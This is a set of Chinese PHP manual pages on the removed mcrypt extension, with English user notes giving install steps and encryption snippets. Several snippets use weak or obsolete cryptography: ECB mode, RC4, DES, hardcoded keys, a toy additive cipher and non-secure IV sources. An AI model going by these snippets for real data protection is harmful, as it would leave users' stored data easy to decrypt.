sudo service apache2 restart
jcwebb at dicoe dot com 08-Apr-2014 03:48
there are no instructions included with the sourceforge download.

After php 5.3 mcrypt is automatically included and enabled.
(i was looking to enable an extension)
Anonymous 22-May-2012 02:55
Both mcrypt and libmcrypt are available through the linked website.  You simply have to click the "Browse all files" or similar link once on the "development site" and not just look for the default Sourceforge download button.
Antoine 30-Nov-2010 05:53
mcrypt is built in for PHP 5.3.x on windows, you don't need to do anything with a dll anymore.
tom420 dot duhamel at gmail dot com 02-Feb-2009 09:55
If installing libmcrypt from RPM, you need both libmcrypt*.rpm and libmcrypt-devel*.rpm. I found RPMs for both were available for most platforms on this page:

http://rpmforge.net/user/packages/libmcrypt/

Also files.edin.dk does not seem to carry the win32 files anymore.


安装

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 7.2.0

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/mcrypt.

User Contributed Notes

Polichism 02-Oct-2014 06:43
If you don't have a /etc/php5/conf.d directory, you can simply only do: php5enmod mcrypt

Should be working fine.
Tanner Williamson 01-Oct-2014 05:56
On Ubuntu 14.04 LTS using php5-fpm with Nginx, I had to symlink the mcrypt.ini to the correct location, and then restart php5-fpm and nginx.
#ln -s /etc/php5/mods-available/mcrypt.ini /etc/php5/fpm/conf.d/mcrypt.ini
#service php5-fpm restart
#service nginx restart
biz at svstartuplab dot com 31-Mar-2014 11:20
I needed to install mcrypt on Mac OS X Mavericks 10.9 for installing the Laravel 5 framework. I entered in the Terminal command line:

brew tap josegonzalez/homebrew-php
brew install php54 php54-mcrypt

This installed Mcrypt.  In Terminal type php -i to see a list of everything installed or for much better formatting and easier to read make a phpinfo.php page with this inside <?php phpinfo(); ?>

More help with installing on OS X:
http://stackoverflow.com/questions/14595841/installing-mcrypt-extension-for-php-on-osx-mountain-lion
Anonymous 12-Mar-2014 03:37
Note, for Ubuntu, simply installing php5-mcrypt did not get mcrypt to work. You need to execute the following commands as root to enable it:

apt-get install php5-mcrypt
mv -i /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available/
php5enmod mcrypt
service apache2 restart
trenton at rainleader dot com 03-Dec-2010 08:22
If using a Debian-based Linux system, you can run the following commands:

sudo apt-get install php5-mcrypt
sudo /etc/init.d/apache2 restart
james dot mclean at gmail dot com 12-Oct-2009 09:23
You can install Mcrypt from the PHP Source Tree as a module if you choose.

You first need to ensure you have libmcrypt, libmcrypt-devel, and mcrypt installed, then do:

# cd php-5.x.x/ext/mcrypt
# phpize
# aclocal
# ./configure
# make && make install

Enable the module by adding: 'extension=mcrypt.so' to PHP.ini.

Done!

Very handy if you need to install a single module and you may have installed PHP via RPM, but don't wish to recompile your whole PHP install.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Mcrypt 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mcrypt.algorithms_dir | null | PHP_INI_ALL |
mcrypt.modes_dir | null | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mcrypt.algorithms_dir string

包含算法的目录。 默认情况向是 libmcrypt 的编译目录， 通常是 /usr/local/lib/libmcrypt。 更多信息请参见 mcrypt_list_algorithms()。

mcrypt.modes_dir string

包含模式的目录。 默认情况向是 libmcrypt 的编译目录， 通常是 /usr/local/lib/libmcrypt。 更多信息请参见 mcrypt_list_modes()。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

mcrypt_module_open() 返回加密描述符。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Mcrypt 支持以下四种分组密码模式：CBC， OFB，CFB 和 ECB。 如果使用 libmcrypt-2.4.x 或更高版本链接， 还可以支持 nOFB 分组模式 和 STREAM 模式。 下列是所支持的加密模式以及其对应的预定义常量。 完整的参考见：Applied Cryptography by Schneier (ISBN 0-471-11709-9)。

  • MCRYPT_MODE_ECB (electronic codebook) 是一种分组加密模式，但是它无法适用于大部分场景， 所以不建议使用这种模式进行分组加密。
  • MCRYPT_MODE_CBC (cipher block chaining) 也是一种分组加密方式， 相对 ECB 模式，它更加安全。
  • MCRYPT_MODE_CFB (8 比特模式的 cipher feedback) 是一种流式加密模式。 相对于 CFB 而言， 推荐使用 NCFB 模式。
  • MCRYPT_MODE_OFB (output feedback, in 8bit) 和 CFB 类似， 也是一种流式加密模式，它可以用在无法容忍加密错误传播的应用中。 推荐使用 NOFB 模式，而不是 OFB 模式。
  • MCRYPT_MODE_NOFB (output feedback, in nbit) 和 OFB 类似，但是更加安全， 因为它可以按照算法指定的分组大小来对数据进行加密。
  • MCRYPT_MODE_STREAM 是一种扩展模式， 它包含了诸如 "WAKE" 或 "RC4" 的流加密算法。

Mcrypt 还支持一些尚未预定义常量的加密模式。 可以通过传入一个字符串来使用使用未预定义常量的加密模式。

  • "ctr" (counter mode) 是一种流式加密模式。
  • "ncfb" (cipher feedback, in n-bit mode)，类似于 CFB 模式， 但是它会对于算法设定的整块数据进行操作。

其他模式以及随机设备常量：

MCRYPT_ENCRYPT (int)
MCRYPT_DECRYPT (int)
MCRYPT_DEV_RANDOM (int)
MCRYPT_DEV_URANDOM (int)
MCRYPT_RAND (int)

User Contributed Notes

Andrey Andreev 06-Mar-2014 12:03
You can just use strings instead of the constants ... they are useless and lacking for other modes that are fully supported. Here's a list:

cbc
ecb
ofb
nofb
cfb
ncfb
ctr
stream
gordon at vixo dot com 02-Feb-2013 08:17
These constants don't cover all the possible options.

There are two constants:
MCRYPT_MODE_OFB
MCRYPT_MODE_NOFB

These relate to using OFB mode in 8-bit feedback mode and using the same feedback length as the key

There is one constant
MCRYPT_MODE_CFB which uses 8-bit feedback mode

There ought to be a constant
MCRYPT_MODE_NCFB which uses the same feedback length as the key.

In fact you can just use the option 'ncfb' in mycrypt


Mcrypt 密码

下表是 mcrypt 扩展所支持的密码。 所支持的密码的完整列表请参见 mcrypt.h 文件。 在 PHP 中使用 mcrypt-2.2.x 的一个通用规则是你可以使用 MCRYPT_ciphername 来访问密码。 在 libmcrypt-2.4.x 和 libmcrypt-2.5.x 的 API 中，这些常量依然可用， 但是你也可以把密码模式以字符串的形式传入 mcrypt_module_open() 函数 来进行访问。

  • MCRYPT_3DES
  • MCRYPT_ARCFOUR_IV ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_ARCFOUR ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_BLOWFISH
  • MCRYPT_CAST_128
  • MCRYPT_CAST_256
  • MCRYPT_CRYPT
  • MCRYPT_DES
  • MCRYPT_DES_COMPAT ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_ENIGMA ( 仅 libmcrypt > 2.4.x 可用，MCRYPT_CRYPT 的别名)
  • MCRYPT_GOST
  • MCRYPT_IDEA (非免费算法)
  • MCRYPT_LOKI97 ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_MARS ( 仅 libmcrypt > 2.4.x 可用，非免费算法)
  • MCRYPT_PANAMA ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_RIJNDAEL_128 ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_RIJNDAEL_192 ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_RIJNDAEL_256 ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_RC2
  • MCRYPT_RC4 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_RC6 ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_RC6_128 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_RC6_192 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_RC6_256 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_SAFER64
  • MCRYPT_SAFER128
  • MCRYPT_SAFERPLUS ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_SERPENT( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_SERPENT_128 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_SERPENT_192 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_SERPENT_256 ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_SKIPJACK ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_TEAN ( 仅 libmcrypt 2.2.x 可用 )
  • MCRYPT_THREEWAY
  • MCRYPT_TRIPLEDES ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_TWOFISH ( mcrypt 2.x 之前的版本，或者 2.4.x 之后版本可用 )
  • MCRYPT_TWOFISH128 (TWOFISHxxx 在新的 2.x 版本可用，但在 2.4.x 版本不可用)
  • MCRYPT_TWOFISH192
  • MCRYPT_TWOFISH256
  • MCRYPT_WAKE ( 仅 libmcrypt > 2.4.x 可用 )
  • MCRYPT_XTEA ( 仅 libmcrypt > 2.4.x 可用 )

如果使用 CFB 和 OFB 模式， 必须提供初始向量（IV）， 如果使用 CBC 模式， 可以提供一个初始向量。 初始向量必须是唯一的，并且在加密和解密过程中要保持一致。 你可以将初始向量和加密后数据一起存储， 其存储位置可以由一个函数的输出来指定， 例如文件名的 MD5 散列值， 这样你就可以把初始向量和加密后的数据一起传输 （关于本话题的更多信息，请参见 Applied Cryptography by Schneier (ISBN 0-471-11709-9) 9.3 一节）。

User Contributed Notes

dan at zaph dot com 21-Aug-2015 12:26
Interpretability:

mcrypt does not support PKCS#7 padding, it uses non-standard and insecure null padding. This means that for interoperability with most other implementations PKCS#7 padding will have to be added prior to encryption and/or removed after decryption. This is a major source of interoperability issues.

When interoperating with AES the mcrypt algorithm must be specified as MCRYPT_RIJNDAEL_128 since AES only supports a block size of 128-bits. There is often confusion that this specifies the key size which it does not.
stanislav dot eckert at vizson dot de 01-Jun-2015 05:33
The latest patents for the IDEA algorithm have expired in 2012 and the cipher is now patent-free and free to use.
Rob 31-Dec-2013 03:28
These constants can in fact be used as input to the function mcrypt_module_open() because mcrypt.php contains defines that map these constants to the appropriate string values obtained from mcrypt_list_algorithms().
Mark 29-Oct-2012 02:13
Note, these are not the names you use in the function mcrypt_module_open to specify the algorithm.

Use mcrypt_list_algorithms to get the right names to stick in there
robin 17-Dec-2010 09:41
The MCRYPT_TWOFISH constant when defined by mcrypt version 2.4.x and later is the 256 bit version of Twofish; it uses a 1-32 byte key, a 16 byte IV, and outputs 16 byte blocks in CBC mode.


Mcrypt 函数

Table of Contents

  • mcrypt_create_iv — 从随机源创建初始向量
  • mcrypt_decrypt — 使用给定参数解密密文
  • mcrypt_enc_get_algorithms_name — 返回打开的算法名称
  • mcrypt_enc_get_block_size — 返回打开的算法的分组大小
  • mcrypt_enc_get_iv_size — 返回打开的算法的初始向量大小
  • mcrypt_enc_get_key_size — 返回打开的模式所能支持的最长密钥
  • mcrypt_enc_get_modes_name — 返回打开的模式的名称
  • mcrypt_enc_get_supported_key_sizes — 以数组方式返回打开的算法所支持的密钥长度
  • mcrypt_enc_is_block_algorithm_mode — 检测打开的模式是否支持分组加密
  • mcrypt_enc_is_block_algorithm — 检测打开模式的算法是否为分组算法
  • mcrypt_enc_is_block_mode — 检测打开的模式是否以分组方式输出
  • mcrypt_enc_self_test — 在打开的模块上进行自检
  • mcrypt_encrypt — 使用给定参数加密明文
  • mcrypt_generic_deinit — 对加密模块进行清理工作
  • mcrypt_generic_init — 初始化加密所需的缓冲区
  • mcrypt_generic — 加密数据
  • mcrypt_get_block_size — 获得加密算法的分组大小
  • mcrypt_get_cipher_name — 获取加密算法名称
  • mcrypt_get_iv_size — 返回指定算法/模式组合的初始向量大小
  • mcrypt_get_key_size — 获取指定加密算法的密钥大小
  • mcrypt_list_algorithms — 获取支持的加密算法
  • mcrypt_list_modes — 获取所支持的模式
  • mcrypt_module_close — 关闭加密模块
  • mcrypt_module_get_algo_block_size — 返回指定算法的分组大小
  • mcrypt_module_get_algo_key_size — 获取打开模式所支持的最大密钥大小
  • mcrypt_module_get_supported_key_sizes — 以数组形式返回打开的算法所支持的密钥大小
  • mcrypt_module_is_block_algorithm_mode — 返回指定模块是否是分组加密模式
  • mcrypt_module_is_block_algorithm — 检测指定算法是否为分组加密算法
  • mcrypt_module_is_block_mode — 检测指定模式是否以分组方式输出
  • mcrypt_module_open — 打开算法和模式对应的模块
  • mcrypt_module_self_test — 在指定模块上执行自检
  • mdecrypt_generic — 解密数据

User Contributed Notes

patrickdk at patrickdk dot com 06-Aug-2010 10:30
This works completely with mysql aes, even long keys.

<?php
function mysql_aes_decrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode = MCRYPT_MODE_ECB;
    $enc = MCRYPT_RIJNDAEL_128;
    $dec = @mcrypt_decrypt($enc, $key, $val, $mode, @mcrypt_create_iv( @mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM ) );
    return rtrim($dec,(( ord(substr($dec,strlen($dec)-1,1))>=0 and ord(substr($dec, strlen($dec)-1,1))<=16)? chr(ord( substr($dec,strlen($dec)-1,1))):null));
}

function mysql_aes_encrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $key, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>
p ete postma - googlemail.com 30-Oct-2009 09:42
mcrypt module initialization failed

I found this circumstance:

usemcrypt.php:
<?php
 function protect() {
 //some mcrypt/decrypt command
 }
?>

filea.php:
<?php
include_once('usemcrypt.php');

function a() {
 protect();
} ?>

fileb.php
<?php
function b() {
  include_once('usemcrypt.php');
  protect();
}
?>

filea.php and a() work fine
fileb.php and b() will report a mcrypt module initialization failed

I am assuming you can't pull that module in on the fly. If you use a file that calls mcrypt, it has to be included at the head, not in a function.
manyagain 04-Jul-2009 08:44
if you don't have mcrypt installed, try phpseclib - http://phpseclib.sourceforge.net

includes pure-php implementations of des, 3des, rc4, aes, and rijndael.  uses mcrypt if it's available and a pure-php implementation otherwise.  it also has the distinction of having the fastest existent pure-php aes implementation as per section 3.5.5. "Speed Comparisons" of the documentation.
Rafael M. Salvioni 27-Nov-2008 04:26
The follow function is a implementation of the RC4 cypher algorithm in pure PHP code.

The function is used to encrypt and decrypt data.

<?php
/**
 * Crypt/decrypt strings with RC4 stream cypher algorithm.
 *
 * @param string $key Key
 * @param string $data Encripted/pure data
 * @see   http://pt.wikipedia.org/wiki/RC4
 * @return string
 */
function rc4($key, $data)
{
    // Store the vectors "S" has calculated
    static $SC;
    // Function to swaps values of the vector "S"
    $swap = create_function('&$v1, &$v2', '
        $v1 = $v1 ^ $v2;
        $v2 = $v1 ^ $v2;
        $v1 = $v1 ^ $v2;
    ');
    $ikey = crc32($key);
    if (!isset($SC[$ikey])) {
        // Make the vector "S", basead in the key
        $S    = range(0, 255);
        $j    = 0;
        $n    = strlen($key);
        for ($i = 0; $i < 255; $i++) {
            $char  = ord($key{$i % $n});
            $j     = ($j + $S[$i] + $char) % 256;
            $swap($S[$i], $S[$j]);
        }
        $SC[$ikey] = $S;
    } else {
        $S = $SC[$ikey];
    }
    // Crypt/decrypt the data
    $n    = strlen($data);
    $data = str_split($data, 1);
    $i    = $j = 0;
    for ($m = 0; $m < $n; $m++) {
        $i        = ($i + 1) % 256;
        $j        = ($j + $S[$i]) % 256;
        $swap($S[$i], $S[$j]);
        $char     = ord($data[$m]);
        $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
        $data[$m] = chr($char);
    }
    return implode('', $data);
}
?>
artem at it-nt dot ru 29-May-2008 12:25
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
phpknights at pookmail dot com 01-Feb-2008 01:18
The Pear class Crypt/Blowfish.php will use the mcrypt module if available but the mcrypt module is not required.

Some very easy Pear and example pseudocode to protect your data by encrypting your databases with a one-way hash and blowfish symmetric encryption.
http://en.wikibooks.org/wiki/Cryptography/Database_protection

Using a one-way hash and blowfish symmetric encryption.
1. Insert a record of John Doe in an encrypted database.
2. Get the encrypted record of user John Doe and decrypt the data.

1. Insert a record of John Doe in an encrypted database.
<?php

        require_once("Crypt/Blowfish.php"); // a Pear class

        $aRecord['email']       =       "johndoe@anisp.localhost"; // The Primary key
        $aRecord['name']        =       "John Doe";
        $aRecord['creditnr']    =       "0192733652342" ;

        // crypt - one-way encryption
        $cipher_key = crypt( $aRecord['email'] , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to encrypt the data
        $aRecord['email']       = $bf->encrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->encrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->encrypt( $aRecord['creditnr'] );

        $result = sqlInsert( $aRecord ) ;
?>

2. Get the encrypted record of user John Doe and decrypt the data.
<?php

        require_once("Crypt/Blowfish.php");  // a Pear class

        $primary_key = "johndoe@anisp.localhost";

        // crypt - one-way encryption
        $cipher_key = crypt(  $primary_key , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to ecrypt the primary key for a sql select
        $select_key = $bf->encrypt(  $primary_key ) ;

        $aRecord = sqlSelectWithPKEY( $select_key );

        // crypt_blowfish symmetric encryption to decrypt the data
        $aRecord['email']       = $bf->decrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->decrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->decrypt( $aRecord['creditnr'] );
?>

Thanks for reading this.
Kevin 23-Jan-2008 09:37
Solved Problem:

when compiling php --with-mcrypt, phpinfo() says, that mcrypt ist enabled, but
"Supported ciphers none" and
"Supported modes none"

In order to get mcrypt to work in php, you have to configure and compile the libmcrypt source package with the following options:
./configure --disable-posix-threads --enable-dynamic-loading
Ivan Frederiks 28-Apr-2007 07:03
To enable mcrypt extension under Windows you need to:
1) uncomment line "extension=php_mcrypt.dll" in php.ini
2) download libmcrypt.dll from http://files.edin.dk/php/win32/mcrypt/ and put it to System32 directory (for example C:\Windows\System32).
Tested on Windows XP+Apache 1.3.37+PHP 4.4.6 (as SAPI module!!!)

P.S.
I wrote this because I got "Cannot load mcrypt extension. Please check your PHP configuration." from phpMyAdmin when I simply uncommented "extension=php_mcrypt.dll" line.
duerra_NOT_THIS_ at pushitlive dot net 20-Sep-2006 12:56
For those of you that need to use PKCS#5 padding, the mcrypt API's for PHP do not support it.  However, you can DIY using the following:

<?php

function encrypt_something($input)
{
    $size = mcrypt_get_block_size('des', 'ecb');
    $input = pkcs5_pad($input, $size);

    $key = 'YOUR SECRET KEY HERE';
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $data = base64_encode($data);
    return $data;
}

function pkcs5_pad ($text, $blocksize)
{
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}

function pkcs5_unpad($text)
{
    $pad = ord($text{strlen($text)-1});
    if ($pad > strlen($text)) return false;
    if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) return false;
    return substr($text, 0, -1 * $pad);
}
?>
rolf at winmutt dot com 10-Mar-2006 12:19
mysql AES_ENCRYPT() compatibly function for PHP :

<?php
function mysql_aes_encrypt($val,$ky) {
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>

Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl 01-Mar-2006 01:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway 16-Feb-2006 10:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:   1.9 seconds
Encrypt in OFB:   45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com 05-Feb-2006 03:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
coz AT metamule D0T com 04-Nov-2005 05:15
If you're going to encrypt data with something like this and store it in postgres.

<?php
function encrypt($string, $key){
        $result = '';
        for($i=1; $i<=strlen($string); $i++){
            $char = substr($string, $i-1, 1);
            $keychar = substr($key, ($i % strlen($key))-1, 1);
            $char = chr(ord($char)+ord($keychar));
            $result.=$char;
        }
        return $result;
    }
?>

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz 30-Oct-2005 05:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
paul dot lewis at absolutegenius dot co dot uk 13-Jul-2005 08:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
Jurgen Schwietering 23-Nov-2004 01:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
groundzero at zuavra dot net 09-Jan-2004 05:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms 03-Oct-2003 02:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voila.
steve@itemfront dot ltd dot uk 29-Sep-2003 05:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com 31-Jul-2003 05:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

<?php
chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT));
?>
scott at boothcreek dot com 28-Mar-2002 01:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl 02-Aug-2001 06:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net 10-Feb-2000 05:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

<?php
base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
?>


从随机源创建初始向量

  • ? Mcrypt 函数
  • mcrypt_decrypt ?
  • PHP Manual
  • Mcrypt 函数
  • 从随机源创建初始向量

mcrypt_create_iv

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_create_iv — 从随机源创建初始向量

Warning

此函数自 PHP 7.1.0 起弃用，并在 PHP 7.2.0 中移除。

此函数可以使用如下替代：

  • random_bytes()

说明

mcrypt_create_iv(int $size, int $source = MCRYPT_DEV_URANDOM): string

从随机源创建初始向量。

初始向量只是为了给加密算法提供一个可用的种子， 所以它不需要安全保护， 你甚至可以随同密文一起发布初始向量也不会对安全性带来影响。

参数

size

初始向量大小。

source

初始向量数据来源。可选值有： MCRYPT_RAND （系统随机数生成器）, MCRYPT_DEV_RANDOM （从 /dev/random 文件读取数据） 和 MCRYPT_DEV_URANDOM （从 /dev/urandom 文件读取数据）。 在 Windows 平台，PHP 5.3.0 之前的版本中，仅支持 MCRYPT_RAND。

请注意，在 PHP 5.6.0 之前的版本中， 此参数的默认值为 MCRYPT_DEV_RANDOM。

Note: 需要注意的是，如果没有更多可用的用来产生随机数据的信息，那么 MCRYPT_DEV_RANDOM 可能进入阻塞状态。

返回值

返回初始向量。如果发生错误，则返回 false。

示例

Example #1 mcrypt_create_iv() 示例

<?php
$size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
$iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

参见

  • » http://www.ciphersbyritter.com/GLOSSARY.HTM#IV
  • » http://www.quadibloc.com/crypto/co0409.htm
  • Applied Cryptography by Schneier (ISBN 0-471-11709-9) 9.3 节。
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

wschalle at gmail dot com 01-May-2015 02:21
hans at illis dot nl's demonstration code is incorrect. In the loop, he uses:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

When it should actually be:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_URANDOM);

This produces consistent results on Windows.
joseph dot t dot fallon at gmail dot com 10-Dec-2014 07:32
Block ciphers, at their core, are a pair of transformation algorithms, called transforms. One encrypts, one decrypts - in some cases the algorithms are one and the same, but that's not important. A block transform takes a fixed-length block of plaintext, transforms it using a secret key of some chosen size, and produces an identical-length block of ciphertext. Or, of course, vice versa (decryption).

